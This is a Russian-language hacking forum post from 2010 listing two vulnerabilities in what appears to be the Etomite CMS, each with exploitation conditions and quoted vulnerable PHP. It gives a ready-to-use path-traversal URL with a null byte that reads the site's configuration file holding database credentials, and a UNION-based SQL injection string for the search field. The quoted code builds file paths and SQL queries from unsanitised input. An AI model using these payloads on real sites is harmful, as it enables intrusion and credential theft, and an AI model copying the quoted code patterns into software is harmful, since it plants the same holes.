Показать сообщение отдельно

  #2  
Старый 15.01.2010, 12:35
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме:
812087

Репутация: 129
По умолчанию

6)Произвольное чтение файлов
Условия: MG=off и RG=on
Код:
http://host/manager/actions/static/document_data.static.action.php?id=3/../../../../includes/config.inc.php%00
Уязвимый код document_data.static.action.php
PHP код:
  <?php
  $buffer 
"";
  
$filename "../assets/cache/docid_".$id.".etoCache";
  
$handle = @fopen($filename"r");
  if(!
$handle)
  {
    
$buffer "<div class=\"noSymbolPage\"><div class=\"noSymbolText\">".$_lang['page_data_notcached']."</div></div>";
  } else
  {    while (!
feof($handle))
    { 
$buffer .= fgets($handle4096);}
    
fclose ($handle);
    
$buffer=$_lang['page_data_cached']."<p><textarea style='width: 100%; border: 3px solid #4791C5;'>".htmlspecialchars($buffer)."</textarea>";
  }

  echo 
$buffer;
  
?>
7)SQL-injection
Условия: MG=off
Код:
В поле поиска на главной страннице вводим ')union/**/select/**/1,2,3,user()# и в конце странниц результата поиска видим пользователя mysql
Уязвимый код записан в базе таблица site_snippets с именем SearchForm, или берется из настроек кэша \assets\cache\etomiteCache.idx.php тут он закодирован в base64
PHP код:
  <?php
  $searchString 

isset(
$_POST['search']) && 
$_POST['search']!= "{{" && 
$_POST['search']!= "[[" && 
$_POST['search']!= "[(" && 
$_POST['search']!= "[~" && 
$_POST['search']!= "[*" ?
$_POST['search'] : "" ;
.....
if(isset(
$_POST['search']) && $_POST['search']!=''
{
     
   
$search explode(" "$_POST['search']);
   
    
   
$tbl $etomite->dbConfig['dbase'].".".$etomite->dbConfig['table_prefix']."site_content"
   
   
$sql "SELECT id, pagetitle, parent, description FROM $tbl WHERE ($tbl.content LIKE '%".$search[0]."%'"
   
   
   for (
$x=1;$x count($search); $x++) { 
       
$sql .= " AND $tbl.content like '%$search[$x]%'"
   } 
   
   
$sql .= " OR $tbl.pagetitle LIKE '%".$search[0]."%' "
   
   for (
$x=1;$x count($search); $x++) { 
       
$sql .= " AND $tbl.pagetitle like '%$search[$x]%'"
   } 
   
$sql .= " OR $tbl.description LIKE '%".$search[0]."%' "
   for (
$x=1;$x count($search); $x++) { 
       
$sql .= " AND $tbl.description like '%$search[$x]%'"
   } 
   
   
   
$sql .= ") AND $tbl.published = 1 AND $tbl.searchable=1 AND $tbl.deleted=0;";
    
   
$rs $etomite->dbQuery($sql);

Последний раз редактировалось [NiGHT]DarkAngel; 25.01.2010 в 16:23..
 
Ответить с цитированием